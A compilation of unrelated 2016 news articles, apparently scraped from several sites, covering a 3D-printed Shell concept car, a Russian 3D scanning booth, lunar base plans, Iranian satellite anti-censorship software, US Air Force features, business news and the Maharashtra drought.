Modern technologies, 3D printing included, were used to create the ultra-compact, ultra-lightweight city car, which boasts a fuel consumption of 89.1 mpg (2.64 l/100 km) at a steady 70 km/h (45 mph). Most of the car body is made from recyclable carbon fiber, while several components were created with CAD software and 3D printers. Despite the variety of manufacturing techniques, each element of the Shell Concept Car purportedly works in harmony, creating an efficient vehicle which measures just 1.5 m (4.9 ft) tall x 2.5 m (8.2 ft) long x 1.3 m (4.3 ft) wide. 'Its a holistic approach: the materials, the manufacturing process, the lubricants, the design and engine, said Bob Mainwaring, Shell Lubricants Technology Manager for Innovation.

The tiny size of the vehicle is proving to be one of its biggest talking points. The 3-seater vehicle, which weighs just 550 kg (1,213 lb), could potentially fit into a standard parking space three times, while two of them couldtheoreticallydrive side by side down a single motorway lane. The compact nature of the 3D printed car could prove incredibly usefulparticularly as parking spots in urban areas become scarcer and scarcer. 'Its a small vehicle full of big ideas, Murray commented.

Shells collaborators on the Concept Car certainly know what they are doing when designing vehicles. Gordon Murray, a British car designer, has previously designed a number of Formula One race cars and the world-famous McLaren F1 supercar. The T.25 city car, on which the Shell Concept Car was based, itself showcased features of the McLaren F1, such as a centralized seating position and controls.

Whether the 3D printed vehicle inspires a new generation of ultra-compact, energy-efficient city cars remains to be seen, but the collaborators have declared their satisfaction with the project. 'Weve shown that we have built a very energy-efficient car, said Ikebe Hidehito, Director of Engineering at Geo Technology.

The Shell Concept Car has recorded a top speed of 156 km/h (97 mph), limited to 145 km/h (90 mph), and is capable of going from 0-100 km/h (0-62 mph) in 15.8 secs.

Posted in 3D Printing Application

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Edward wrote at 4/23/2016 3:26:51 AM:That is a very bad joke, gas cars are ultimately a dinosaur technology, when the world's oil reserves are exhausted, that vehicle and others like it will be overdesigned paperweights




Apr 22, 2016 | By Alec

3D printed selfies, made with the help of a 3D scanning booth, are becoming increasingly popular. This popularity means that the number of 3D scanning booths is expanding quite quickly  even one German cruise ship now has its own 3D scanning booth. New booths are also entering the market left and right, and now a particularly promising and efficient model has been launched by Russian startup Texel Portal, who already have six booths in operation.

This new startup only recently appeared on the international radar by winning the Seedstarts Moscow startup competition. As Texel Portals CEO Maxim Fedyukov explained, the idea for their custom 3D scanner started back in 2007, when he wrote a PhD thesis on 3D imaging solutions for full size human models. I simply wanted to create something not just scientifically advanced, but that would be really useful for people. Sergey Klimentyev, our Business Development Lead, started constructing 3D scanner prototypes at home before we met, he explains. They were quickly joined by mathematician Andrey Poskonin and rocket scientist (now chief engineering officer) Andrey Kudryavtsev. So here we have great synergy of multi-talented people, working ten times more efficiently and faster than we were before we met, he says.

Together, they have come up with a particularly impressive 3D scanning booth called the Portal, which has been specifically tailored to start 3D printing as quickly as possible. They call it the worlds first engaging 3D scanner, and it is particularly eye-catching for its design. Though most 3D scanning booths are exactly that  a booth  the Portal is actually just a frame that spins around the occupant during 3D scanning (an exterior frame can be added for some privacy). The Texel Portal is unique because any 3D sensors can be mounted on its frame. We purchase and test all the latest units and when new sensors demonstrate better performance we make it possible to do a quick upgrade and replace old sensors with the latest technology, they say. This design, they say, makes it perfect for transporting and easy assembly. They also state that it is particularly stable, despite its design.

But they call their tech solutions their main achievement. We were able to make a breakthrough in accuracy that no other company has been able to achieve using 3D sensors available today, they say. Spinning around at 0.05 rpm/sec, the Portal captures a model with a texture detail of down to 1 mm (1 million polygons). 3D scanning takes just 20 seconds, and the 3D models are made available in OBJ, VRML, PLY, STL, and AVT formats. The patented machine is also completely automated and gives an almost instant visualization of the results (takes about a minute)  perfect for parties. They estimate they could scan up to 40 people per hour with the Portal. If desired, it could be ready to 3D print as soon as a minute later.

These impressive stats are doubtlessly the reason why things are moving quickly for Texel Portal right now. Recently we were named one of the top Moscow innovations and were invited to join the Moscow Governments booth at Open Innovations, the largest technological event in Russia. During the exhibition our Portal was also visited by top officials including Sergey Sobyanin, Mayor of Moscow. Now our Portals are opening in Moscow parks and wedding palaces, to contribute to the citys innovative image and attractiveness. We work hard, but Im sure now we find help easier thanks to our new status of the selected company to represent Russia at an international competition, the CEO says.

They have six booths in operation already, of which three are in Moscow and one is in Marbella, Spain. However, they are also already capable of providing more for use in public spaces, special events, theme parks and elsewhere. The 3D scanner Portal allows you to produce and sell hundreds of high quality personalized miniature figures of people each month, they claim, showing very diverse examples, from 3D printed (full color) selfies to coffee mugs and even coins baring your face.

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Apr 21, 2016 | By Benedict

According to the head of its national Center for the Study of Natural Substances, Russia could use 3D printing and a patented gyroscopic mill to build a habitable base on the polar region of the Moon. Settlers would create a powdered 3D printing material from processed lunar regolith.

Map of the lunar south pole

These days, the science of space exploration is so strongly concerned with Marsand whether humans might someday form a colony on itthat the lunacy of the twentieth century Space Race seems all but forgotten. However, while the prospect of sending a manned spacecraft to the Red Planet is an extremely exciting one, Russias Center for the Study of Natural Substances has refocused some of its attention on Earths only natural satellite, the Moon, in the hope that a human settlement could be established there.

According to Vyacheslav Bobin, head of Russia's Center for the Study of Natural Substances, the possibility of forming a human settlement on the Moon is not as remote as some people think. Location, however, is critical: while Moon rovers have thus far been deployed near the 130 C lunar equator, it is the polar regions of the Moon which could potentially provide a more suitable human base. Some scientists have speculated that there could be enormous sheets of ice in these colder areas of the Moon, providing humans with the water and oxygen necessary to survive.

If Russia could locate a suitable spot for a human settlement, Bobin believes that 3D printing could be used to create lunar homes. This idea was originally proposed by the European Space Agency," he told World Crunch. The walls of a lunar settlement built from regolith mixed with periclase (MgO) are capable of withstanding extreme temperature fluctuations and provide protection against meteors3D printers are already capable of constructing a lunar settlement of approximately 600 cubic meters in volumeall in just seven to 10 days.

Perhaps the biggest challenge that scientists would face when attempting to build a 3D printed lunar settlement would be attaining a suitable material. While lunar regoliththe layer of loose rocks and dust covering the Moons surfacecould form the basis of such a 3D printing material, processing the regolith into a usable form would be extremely difficult. Bobin, however, believes that Russias patented gyroscopic mill could hold the key. "Instead of using gravity to crush soil samples, the mill uses gyroscopic force, which is not dependent on gravity." he explained. "If we adopt these technologies, then we can truly be ahead of the world by a decade.

Artist's impression of the Russian Luna-Glob module

Russias new lunar program, which could lay the foundations for a 3D printed Moon habitat, envisions four launches, the first of which has been named Luna-Glob, or Luna-25. Luna-Glob will, in 2019, land in the Boguslawsky crater near the Moons southern pole, in order to obtain samples. The following three Luna journeys will explore further areas of the southern pole in order to determine their potential habitability.

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Andy Greenberg in Wired:

Reza, a 20-something mechanical engineer working at an automotive parts factory in the northeastern Iranian city of Sabzevar, takes his web videos seriously. Hes watched theTED talk of amputee snowboarding champion Amy Purdyover and over again. The YouTube videos of Boston Dynamics robots Big Dog and Cheetah, which most of us find creepy, he describes as inspirational. I was mesmerized by those videos, he writes in an email, asking that WIRED not use his real name. I wonder what would happen if I had the chance to watch [them] when I was a teenager. I might have studied harder in college. If those viral clips mean more to Reza than to the average American, its probably because he has to work so much harder to see them. YouTube is blocked in Iran. The TED site isnt, but Irans trickling internet speeds make its videos virtually unwatchable anyway. So every couple of days, Reza plugs a USB drive into his satellite TVs set-top box receiver and changes the channel to a certain unchanging green and white screen that shows only fixed text instructions. He sets the receiver to record to the USB. Then a few hours later he takes the resulting MPEG file on the USB over to his computer, where he decodes it with a piece of software called Toosheh. The result, each time, is more than a gigabyte of compressed, fresh digital contraband pulled directly from space, past both Irans infrastructure bottlenecks and its draconian censors.

Last month, a Los Angeles-based group of eight Iranian and American activists that calls itself Net Freedom Pioneers officially launched Toosheh, that free anti-censorship system. Toosheh, Farsi for knapsack or bundle, is designed to allow Iranians to use their ubiquitous TV satellite dishes as an alternative to the countrys underdeveloped and highly censored internet, where a government body called the Supreme Council for Cyberspace blocks everything from anti-Islamic sites to news coverage of opposition political groups. By broadcasting on its own satellite TV channel anddistributing a piece of Windows desktop software that can decode that satellite video stream, the Toosheh project sends thousands of Iranians a daily digital bundle of news articles, videos, and audioeverything from Persian music videos to critical news coverage of the Iranian Revolutionary Guard. When they use our software all the content disguised in the video file is extracted and opens in a folder for them, says Mehdi Yahyanejad, the founder of Net Freedom Pioneers as well as Balatarin, a Reddit-like social news site in Persian. It cant be censoredit comes from the sky. Our users just get a big folder of content, and theres no trace of it on the internet.

More here.
Northern football player donates hair to Wigs for Kids

Zach Bohnenkamp has been growing his hair out since he arrived at Northern. Thursday he had 12 inches of hair cut and donated to Wigs for Kids.
Courtesy of the artist

Join Albuquerques rock and roll community at Sister (407 Central NW) on Saturday, April 23 for the album release party for Votives, a heavy, punk-flavored, ambient-attached shoegaze project. Votives latest release,begins with a low rumble that ultimately advance toward crashing waves of feedback and guitar badassery.

Joining Votives for this special celebration of all that is rocking will be an Crime Lab, crttrz and Adult Beverage, an outfit fronted by Dillon Cullinan.

Cullinan spoke briefly with the Alibi about his latest undertaking, recalling the many changes Adult Beverage went through as their psychedelic sound took shape.

By spring 2015 the band had finally found it's ideal configuration with Higinio Martinez on guitar, Zach Leyba on drums, and occasionally Briana Lee on bass. Since 2015 we have played countless house shows and venues in New Mexico. We have played alongside Walter TV (Mac Demarco's live band), Destruction Unit, The Memories, Colleen Green, and LA Witch.

Adult Beverage is currently writing and recording for the first time collaboratively. A new 5 song EP is being recording by Will Byrne of Train Conductor.

Asked to describe their current flavor, Cullinan said, We've been described as having elements of punk, garage rock, dream-pop, stoner metal, noise rock, and psychedelia.

The concert, a glimpse into the instrumentally intense and luminously limitless void in these parts, begins at 8pm.
ACAs library of educational tools help members improve their business practices. ACA also holds the most popular industry conferences and offers credentialing for collectors, attorneys, and more. ACAs Training Zone subscription gives agencies access to almost all of our education for one low cost.
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Oklahoma State University's School of Accounting will induct four alumni into their Wilton T. Anderson Hall of Fame this Friday, NewsOKreports.

An April 22 banquet will induct John Fiebig; Dee Niles; Larry Walther and Shane Wharton into the Hall of Fame. Lindsey Callery, another alumnus, will also receive the Beta Alpha Psi Distinguished Alumni award.

Fiebig is a 1987 graduate of the accounting school and went on to become the deputy director of inspections for the Public Company Oversight Board and leader of the Global Network Firm Program.

Niles, who earned a bachelor's in accounting and marketing, is now retired from KPMG and currently an associate vice president of finance for the OSU Foundation.

Walther earned his doctoral accounting degree in 1980, and is currently the EY professor of accounting and head of the School of Accountancy at the Jon M. Huntsman School of Business at Utah State University. He also serves as acting dean.

Wharton, a 1990 OSU School of Accounting graduate, currently serves as executive vice president of accounting and administration for Love's Travel Stops and Country Stores Inc.

Callery earned her master's degree in taxation in 2006 from the School of Accounting and now serves as a tax manager with HoganTaylor.

For more on OSU and the Wilton T. Anderson Hall of Fame, head to OSU'ssite here.
The Tax Foundation has released a report on proposals to integrate the corporate and individual income tax codes and how they might work in the context of congressional tax reform.

The new report explains this concept and how it might eliminate the double taxation of corporate income, level the playing field between different types of businesses, and increase U.S. tax competitiveness.

According to the report, corporate income that is funded by equity such as stocks faces double taxation, once when it is earned by the corporation and again when it is realized at the shareholder level. However, corporate income that is funded by debt is only taxed once at the individual income tax level. Additionally, pass-through businesses such as sole proprietorships, S corporations, LLCs, and partnerships, are also only taxed once through the individual income tax code.

The Tax Foundations report suggests several ways to integrate the corporate and individual tax codes, including allowing shareholders a credit for corporate taxes paid (credit imputation) or allowing corporations to deduct dividends paid (dividends paid deduction). Each of these strategies for corporate integration presents different opportunities and challenges.

Corporate integration might accomplish many of the same goals as a corporate tax rate cut, according to the report, such as making the U.S. business climate more competitive. It could also end several economic distortions created by the current tax code, including the tax preference for debt financing over equity financing.

As much as possible, the tax code should not distort business decisions, said Tax Foundation analyst Scott Greenberg in a statement. The current double taxation of corporate income encourages investors to shift their investments from corporate to non-corporate businesses, leading to a less efficient allocation of capital. Furthermore, it incentivizes corporations to fund their operations with debt, rather than equity, leading to excessive leverage.

Conversely, a report last week from the Government Accountability Office found that large, profitable American corporations paid only 14 percent of their profits in federal income taxes on average from 2008 through 2012, and approximately one-fifth of them paid nothing at all in each of those years.
Soho Square, Mumbai has been roped in to handle the brand duties of Nicotex, Cipla Healths smoking cessation gum. The win follows the account wins of Vasmol and Faber in January and February, respectively.

On awarding the business to Soho Square, Himava Nath, Head - Marketing, Cipla Health, said, Nicotex, the No. 1 doctor recommended brand in India, is the leading brand in smoking cessation. We have got significant growth for the brand, but we have only scratched the surface. Research shows that India is home to 12 per cent of the worlds smokers, we feel Soho can help us unlock the true potential of the brand and achieve our vision of a smoking free India.

Samrat Bedi, Head of Office, Soho Square, Mumbai, added here, Cipla Health is a big brand and we are glad that they have given us this opportunity. Nicotex is the market leader in the category, and Soho has been entrusted with strengthening this position. Cipla Health chose us having noticed the value we bring to the existing brands we handle Of course, this is a very big win.

Shashank Lanjekar, Senior VP  Strategic Planning, Soho Square, Mumbai, said, Nicotex is a challenging brand on two counts. Firstly, it operates in that rare category where prospects will stop buying the product forever after about 12-15 weeks if they use it correctly. Secondly, its an assignment of classic behaviour change albeit with a difference. Here, its addiction we are addressing. And thats as difficult as it gets. So yes, we are very excited to get started.

Cipla Health (a newly formed subsidiary of Cipla), with a vision to improve the lives of Indian consumers, plans to position itself as a trusted consumer healthcare brand by providing innovative, consumer friendly products.

Soho Square currently works with a number of brands, including Tata Motors, Yes Bank, H&R Johnson and Bisleri. The agency has recently been in the news for the launch of Bisleris soft-drinks range and Franklin Templetons Good EMI campaign promoting SIPs.
FremantleMedia, one of the country's leading name in production of television content including mega hit reality shows like India's Got Talent and Indian Idol, recently announced their second venture in the digital space. With the launch of India's first every interactive web series called Confessions - Its Complicated, FremantleMedia added yet another feather to its cap of continuous innovations with show formats. The show launched on 4th of April, 2016.

For the show, the production firm has managed to make a whopping record of cracking four major brand alliances deal, which is unlikely for a web series so far. E-Commerce apparel giant, Myntra has been roped is as the presenting sponsor, both Gilette Venue as the powered by ,Tata Nano GenX and Saavn as associate sponsor. Not only have the brands come on board as sponsors and partners, but have also been seamlessly been integrated on the show through innovations and product placements. Largely a popular trend in movies, its a unique innovation both FremantleMedia and the brands have done on the digital platform.

Commenting on this, Ron Crasto - Sr V.P. Brand Licensing and Digital of FremantleMedia India, said "With Confessions out idea was to work in tandem with like manned brands who saw potential in our show. We were ecstatic with our presenting sponsor Myntra with Gilette as powered by and Tata Nano and Saavn willingly coming on board to associate with our show. Apart from an alliance our idea was to innovate the association through unique innovations which we believe hasn't been expiated largely on a digital platform so far".

Excited about associating with the Web-series Confessions, Myntras CMO & Head of International Brands, Gunjan Soni said, We see digital and storytelling as a powerful way to engage with Young people. Confessions Web-Series celebrates independent young women and hence close to our beliefs. We hope the viewers will also enjoy the shopable styles the protagonists will be wearing!'

Manish Aggarwal, VP, Marketing & Head of Monetisation, Myntra said, "A large part of our target audience are millennials and they spend considerable amount of time on social media. With FremantleMedia & Confessions we found an interesting way to reach out to our audiences and connect with them through Indias first interactive web series. The banter, the camaraderie and series of emotions are very relevant to our core target audience, it will be interesting to see how the 3 young girls experiment with Freedom and Fashion and the Choices they make to stay afloat in the maximum city.

Commenting on the association and the initiative, Karthik Srivatsan, Country Marketing Manager, Gillette India said, Gillette Venus is extremely proud to collaborate with Fremantle Media in launching Confessions  Its Complicated, India first web series on Facebook. The partnership highlights the mutual belief shared by both Confessions and Gillette  the belief to innovate and to serve evolving consumer needs. Confessions has come up with this modern-age content destination in line with evolving viewership patterns of new age digital media. Venus as a brand believes that women should not be limited by labels or boxed into stereotypes and the shows concept is closely associated with these ideas. Further, with the help of the show, the brand intends to break stereotypes commonly associated with shaving

Spokesperson of Tata Motors added, With the #madeofgreat campaign Tata Motors has charted a new course in its brand building and transformation journey. The Company continues to roll-out compelling campaigns with an aim to bring its consumers closer to the brand. Taking forward the spirit of innovation, the passenger vehicle business has partnered with Confessions for product placement in a first-of-its-kind Webisodes, which has rolled out and customers will see the GenX Nano, Bolt and Safari Storme in the episodes to come. This is yet another pioneering initiative from Tata Motors to connect with its customers in cool manner.

Adding thoughts about the association, Priya Rajesh, VP  Marketing of Saavn, said "We are excited to partner with Fremantle on this industry-first series to strengthen Saavn's natural connection with millennial viewers and listeners. Through this groundbreaking format, we'll be able to reach our core audience in a seamless and organic manner."
Establishing a bond: AFCENT Band returns to Afghanistan

The U.S. Air Forces Central Command Band, Galaxy, returned to Afghanistan for the first time in more than a year April 16 with three performances in front of audiences of Afghan, coalition and American troops at Hamid Karzai International Airport.



"The AFCENT band plays a key role in developing relationships across the region through their music and performances, said Lt. Gen. Charles Q. Brown Jr., the AFCENT commander. The sharing of U.S. culture and values by the AFCENT band is a perfect complement to the relationships of our military commanders and Embassy leaders with regional partners."



The 777th Special Mission Wing, one of the units the band played for, is one of the largest integrated Afghan and American forces who work side by side in order to carry out aircraft-based missions on a daily basis.



Maj. Gustavo Diaz, the chief of logistics for the 777th SMW Special Advisory Group, explained that the atmosphere between the Afghan and U.S. service members benefited from the bands performance and created an opportunity to connect on a personal level, leading to enhanced trust and cultural understanding between them.



These types of events need to happen, Diaz said. Performances like these are the best way to strengthen our ties and comradery with our Afghan counterparts.



With the current mission of training, advising and assisting Afghan National Army soldiers, it is essential that members of the U.S. military develop strong relationships with their Afghan and coalition counterparts.



These chances to share a little bit of our culture with our Afghan partners are outstanding and give us a unique experience that helps our overall train, advise and assist mission, said Brig. Gen. Christopher E. Craige, the 438th Air Expeditionary Wing commander. Simply spending a couple of hours enjoying music and having some laughs goes a long way in fostering long-lasting relationships. The band offers a great morale boost and represents a tremendous asset to our AFCENT team in building partnership capacity."



One event featured the band's music at a morale barbecue hosted by the 777th SMW. As music and laughter filled the air, the scene at the barbecue slowly changed from scattered groups of Afghans and Americans to integrated groups of smiling, relaxed people.



This event was absolutely great for the (Afghan forces), said Afghan Air Force Col. Quraishi, the 777th SMW chief of staff. This is a great way to strengthen our relationship with our American allies.



The AFCENT band previously took extended trips to Afghanistan, but having not been there for more than one year they took advantage of their visit by putting on three performances for a total of 925 Afghan, U.S. and coalition service members.



This visit by the band has definitely impacted the way members of different nations are interacting with each other here, said Turkish Air Force Col. Haluk Durmus, the Base Support Group commander of HKIA. Most of us work together by phone or email on a daily basis but this is the first time I have seen a lot of the people face to face. It is events like these that really provide opportunities to truly connect.



During the bands final performance, interaction between the Afghans and coalition Airmen was visible as U.S. Airmen taught their Afghan counterparts to line dance and joined the band in their performance.



The band's performances are really important, said Afghan Air Force Chief Master Sgt. Amin. Everyone here today was enjoying themselves and making more friends. You could see their hearts growing closer and the relationships becoming stronger.



The bands performance resulted in the enhanced integration of the team and aided cultural awareness.



We are always (talking) about cultural integration, but that normally means we get a glimpse of their culture while we dont really have anything to bring to the table from our end, said Tech. Sgt. Michelle Plastow, of the 440th Air Expeditionary Advisory Squadron. This allowed us to share our culture with them in a way I have never seen before and they loved it.
Still Going Strong: Recruiting's 'Ms. Belle' surpasses 50 years of civil service

Temporary Appointment  Not to Exceed Six Months. That is what was written on the in-processing paperwork that awaited a young girl named Theota Belle Batchelor when she first reported for duty at the Warner Robins Air Materiel Area on her 19th birthday. The date was Jan. 26, 1966.



With a high school diploma from Fort Valley High School in her hand and a love for typing and spelling, young Belle eagerly accepted a GS-2, Step 1 clerk-typist position in the cost accounting office at WRAMA. Her annual pay? A grand total of $3,814.



Little did she know at the time, but that temporary appointment would turn into a distinguished civil service career that has spanned more than half a century. Ms. Belle Fisher, as she is more commonly known these days throughout Headquarters Air Force Reserve Command at Robins Air Force Base, Georgia, celebrated 50 years of government service earlier this year.



And at the age of 69, she has no plans of retiring any time soon.

I remember a few years ago when (former AFRC Recruiting Service commander) Col. Mike Mungavin retired, and I asked him how he knew it was time to go. He told me, If youre asking me that question, youre not ready. You will know when its time. There will be no doubt. Well, I still have doubt, so I guess its not time yet, Ms. Belle said during a recent interview from the AFRC Recruiting Service office where she has worked since January 1997.



I joke with Col. Christopher Nick (the current AFRC Recruiting Service commander) that its his fault Im still here. If he would just give me one bad boss, I would be gone. But he keeps giving me wonderful bosses, she said.



Miss Belles civil service career has taken her from WRAMA to Yokota Air Base in Japan, then to Seymour Johnson AFB in North Carolina, followed by Misawa AB, Japan, and back to Robins. She went from being a clerk-typist to an accounting technician to the head cashier in an accounting and finance office to a secretary to an editorial assistant and finally to a marketing specialist.



There have been a lot of highlights in Ms. Belles long career, and most of those revolve around helping other people. During the Vietnam War and the years that followed, she was a fixture at American Red Cross blood drives on base. I donated every time they let me, she said. I figured if I couldnt go over there and help, I wanted to do everything here I could to help. In all, she gave more than five gallons of blood.



While she was working at Seymour Johnson in the early 1990s, her husband was deployed with the local civil engineering squadron in support of Operation Desert Shield. There were a lot of young CE troops who deployed, leaving behind young wives and little babies, she said. The CE commander asked if I could help out the wives. Of course, she said yes. And she did everything she could to support and encourage a group of young wives and mothers who were separated from their husbands for the first time.



Over the years, Ms. Belle has worked her way from GS-2 all the way to GS-11.  and she has loved every minute of it.



I dont enjoy getting up at 4:40 every morning (it takes Ms. Belle about 40 minutes to get to work from her home outside of Perry each day), but once I get here, Im in hog heaven, she said. I love what I do and love all the people I get to work with.



The feeling is mutual for Ms. Belles co-workers.



It is an honor and pleasure to work with Ms. Belle, said Larry Lee, AFRC Recruiting Service executive officer. She is as conscientious as anyone I've ever worked with and is very committed to her work. She has compassion for all others and is always looking for the good in people. Whenever she is not at work, which is rare, it is as if something is amiss. The Air Force and Air Force Reserve have gotten their money's worth with this employee for 50-plus years of superior service.  and she isn't done yet. Shes a woman of great integrity and character.



I've had the opportunity to work side by side with Ms. Belle during my time in the Advertising Division of the Recruiting Service, and she was the first person to introduce herself and offer up any assistance I needed in order to get settled into the position, said Senior Master Sgt. Garrett Martin, the Recruiting Service chief of training. I knew from that initial meeting that she would become more than a co-worker or a casual acquaintance but a good friend.



Ms. Belles' life experiences draw people to her. She has that big-hearted, kind-natured personality that naturally attracts people to confide in her and look to her for advice. Being one of the many who have gone to Ms. Belle for advice, she is always willing to take the time for you. She listens without judgement, and she provides sound, honest advice -- maybe not exactly what you want to hear. Ms. Belle exudes the Air Force core values as an example civil servant.



"Ms. Belle is a Recruiting Service icon who is loved and respected by all past and present Recruiting Service members, said Chief Master Sgt. Thomas Zwelling, Recruiting Service superintendent. She is so respected within recruiting that the Recruiting Service Chiefs Group unanimously made her an honorary chief. This honor has only been bestowed upon one other member of Recruiting Service."



"Ms. Belle is one the most loyal and dedicated individuals I have the pleasure of working with, she puts her heart in to her job and does it with love every day, said Chief Master Sgt. Darin Thomas, chief of the Recruiting Services Advertising and Marketing Branch. She is truly an icon in Air Force Reserve Recruiting Service. Ms. Belle is more than a coworker, she keeps me grounded and teaches me through her actions and daily conversations on how to always remain humble."



About the only thing more important to Ms. Belle than her job is her family. She lives on a piece of land that has been in the Batchelor family for more than 110 years. Her mother, Vonda Batchelor, who will turn 90 this year, lives right up the road. Her son, Allen Engle, and brother, Alan Batchelor, have houses on the same road, as do a couple of cousins. Her daughter, Tammy LeBarre, lives two miles down the road. Ms. Belle has three grandchildren, Heather Benefield, Michael LeBarre and Mason Engle, that she adores.



We love riding four-wheelers in the country and swimming, and I love cutting grass, Ms. Belle said. She also loves vacationing in Helen, Georgia, each Memorial Day and Labor Day.



Ive been going there for 34 years, she said. I stay in the same hotel every year, and they still give me the same rate  the old-timers rate they call it.



Over the past half century, this old-timer has reported to work for almost 13,000 days. She has been on the clock for about 104,000 hours. If she doesnt feel well and needs to take a day off, she has about 3,500 hours of sick leave sitting in the bank. A lot of people joke with Ms. Belle that when she does finally retire, Robins AFB will have to shut down. While that might not be quite true, it is safe to say that the people who work with Ms. Belle hope her retirement is not coming any time soon. And when she does finally call it quits, Robins AFB will not be the same place without her.



(Editors note: Master Sgt. Chance Babin, AFRC Recruiting Service, contributed to this story.)


(This feature is part of the " Through Airmen's Eyes " series. These stories focus on individual Airmen, highlighting their Air Force story.)In July 2011, Staff Sgt. August ONeill, a pararescueman, was sent to rescue a group of Marines pinned down in Afghanistan when enemy insurgents opened fire on his teams helicopter.A round bounced off the helicopters door, tearing through both of ONeills lower legs and critically wounding his left. Over the next 3 1/2 years, doctors performed 20 surgeries as they tried to save the limb.ONeill finally told doctors to remove his left leg last year, but he remains determined to continue his career as a pararescueman.I havent looked back since, said ONeill, whos training with the 342nd Training Squadron at Joint Base San Antonio-Lackland, as he prepares to requalify for assignment to a pararescue team.I knew I wasnt done doing this job, he added.Pararescue isnt an easy job for any Airman, let alone one whos had their leg amputated just above the knee. But ONeill believes hes still up to the task.There are going to be issues that come up here and there, he said. But Im sure Ill make it back on a team. Just like anybody who hasnt been in their job for a long time  I basically need to make sure everybody else knows that Im capable of doing the job, and  I need to make sure I havent lost anything that I need.Pararescumen serve in one of the most physically demanding fields in the armed forces, with the journey from basic training to joining an operational unit spanning almost two years, according to the technical training course guide.ONeill said he isnt expecting any special treatment as he trains over the next few months to demonstrate his mission readiness.I wouldnt want to do this job if I couldnt meet the same qualifications as everybody else, because that would put the people on my team at risk, he explained. Youre only as strong as your weakest member, so if I cant keep up with them, that means theyre carrying me and thats not something that I want.Living with a prosthetic is a minor annoyance in terms of his daily routine, ONeill said. He doesnt sleep with the leg on, for example, so he has to hop to the bathroom or the refrigerator when he wakes in the middle of the night.Its just finding a new normal for all the things I was able to do with two legs before, he explained. Ive just been finding ways to get everything done.That minor annoyance turns into a bigger challenge during pararescue training, where ONeill will have to depend on his ingenuity and adaptability to meet the other demands to the job.Anything from picking up a patient -- where I cant just roll down on a knee and lift them up -- I have to find a different way to brace myself to get people up and move out, he said. Everything is challenging, but its just a matter of finding out how to do it.As if navigating this new normal wasnt enough, ONeill said his training has been grueling.Its tough mentally and physically, he said. You arent pushed to your limit -- youre pushed beyond that -- to the limits that the instructors know you can reach. There are so many qualifications that you need to keep up with that you ... cant do so without being mentally prepared.One thing, at least, hasnt changed for ONeill since returning from his injury.I dont like running, he said, laughing. Ive never been a distance runner and after four years of not running ... thats still difficult, but I can still run. Its not as pretty as it was before, but Im able to at least get the job done.
China is getting closer to building maritime nuclear power platforms that could one day to used to support Chinese projects in the disputed South China Sea, a widely-read state-run newspaper said on Friday.

China has rattled nerves with its military and construction activities on the islands it occupies in the South China Sea, including building runways, though Beijing says most of what it is building is for civilian purposes, like lighthouses.

The Global Times, an influential tabloid published by the ruling Communist Party`s official People`s Daily, said the nuclear power platforms could sail to remote areas and provide a stable power supply.

Liu Zhengguo, head of the general office of China Shipbuilding Industry Corp, which is in charge of designing and building the platforms, told the paper that the company is pushing forward the work.

The development of nuclear power platforms is a burgeoning trend, Liu said. The exact number of plants to be built (by the company) depends on the market demand.

Demand is pretty strong he added, without elaborating.

The paper quoted a January report from the China Securities Journal that a demonstration platform is expected to be completed by 2018 and put into service by the next year.

Chinese naval expert Li Jie told the newspaper the platforms could provide power for lighthouses, search and rescue equipment, defence facilities, airports and harbours in the South China Sea.

Normally we have to burn oil or coal for power, Li said.

Given the long distance between the Nansha Islands and the Chinese mainland and the changing weather and oceanic conditions, transporting fuel could be an issue, which is why developing the maritime nuclear power platform is of great significance, he added, using the Chinese name for the Spratlys.

China claims almost the entire South China Sea, believed to have huge deposits of oil and gas, and is building islands on reefs to bolster its claims. Brunei, Malaysia, the Philippines, Taiwan and Vietnam also have claims to parts of the waters, through which about $5 trillion in trade is shipped every year.

Visiting Brunei, Chinese Foreign Minister Wang Yi repeated China`s stance that disputes should be resolved peacefully through negotiation between the parties directly concerned, China`s Foreign Ministry said late on Thursday.

China has been angered by a case bought by the Philippines in an international arbitration against China`s South China Sea, and says it will neither participate in the case nor accept it
Spiritual leader Sri Sri Ravi Shankar said on Thursday that he tried to open a dialogue with the Islamic State group but it rebuffed him by sending him a photograph of a beheaded man.

I tried to initiate peace talks with the ISIS (Islamic State of Iraq and Syria) recently but they sent me a photograph of a beheaded body of a man. Thus, my effort for a peace dialogue with the ISIS ended, he said.

I think the ISIS does not want any peace talks, he told the media here. Hence, they should be dealt with militarily.

Ravi Shankar left here on Thursday for Tripuraafter a three-day visit to Tripura.

Holding a series of meetings across the state, he stressed on the need to bring peace to Indias northeastern region.

Ravi Shankar urged the militant outfits of the region to hold peace talks with the government.

The 59-year-old said his aim was to unite all cultures, religions, faith and ideologies.

He said the National Greet Tribunals decision to fine the Art of Living Foundation Rs.5 crore for allegedly causing environmental damage to the Yamuna flood plains in Delhi was politically motivated.
This year Maharashtra has witnessed severe drought and farmer suicides. A wealthy state came in unexpected crisis. People voted for BJP with lots of expectations but the government had no control over these disasters. A shocking 3,228 farmers committed suicide in Maharashtra in 2015, the highest since 2001, according to data tabled in the Rajya Sabha on March 4, 2016  that is almost nine farmers every day. Maharashtra is already known for its farm crisis and reports the highest number of farmers suicides in the country. The drought  brought on by a delayed and inadequate monsoon  is set to deepen the distress for its cultivators. Data with the agriculture department shows that two-third of the states 1.37 crore farmers have been affected by the drought which has impacted mainly the Marathwada and Vidarbha regions. These areas have historically been the most deprived in the state.

The drought has come in focus primarily because of the IPL matches being held in Maharashtra and supposed wastage of water at the grounds when the rest of the state is suffering. Also, there is a water train that has staked its way into Latur, which is almost like ground zero when it comes to the drought this time. Nearly 90 lakh farmers in Maharashtra have been stuck by the drought that has distressed the kharif crop, official data shows. It comes close on the heels of the crop distress wreaked by the hailstorms last year which hit cultivators hard. Earlier farmers used to suffer because of low yields but at least they got a decent price for their produce. Now they have poor yield and very low prices for their crop.

Three weeks ago, Maharashtra government officially declared that 60% of its villages were facing a drought-like condition. This means that they reported a crop yield which was less than 50% of the standard yield in the area. In absolute figures, 23,811 of the states 39,453 villages come in this category. This will result in a drastic fall in the states agricultural output for the year. It is a very difficult situation. Farmers in the state are facing severe agrarian distress.

Latur, Beed, Osmanabad residents cannot bathe more than once a week. They wipe themselves with a wet cloth. They wipe out plates and hands after a meal instead of washing them. None of the toilets in the village has water supply. Poor villagers are migrating to cities and took refuge on streets. Villagers have begun selling their cattle at half-price in Beeds Georai taluka, because they are running out of water and fodder.

